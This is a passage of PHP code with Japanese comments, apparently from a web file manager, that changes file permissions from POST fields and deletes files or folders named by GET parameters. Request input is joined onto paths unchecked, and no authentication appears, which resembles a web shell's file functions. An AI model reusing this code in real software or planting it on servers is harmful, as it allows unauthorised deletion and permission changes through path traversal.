'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo (""); } else { echo (""); } } else { echo (""); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo (""); } else { echo (""); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo (""); } else { echo (""); } } } ?>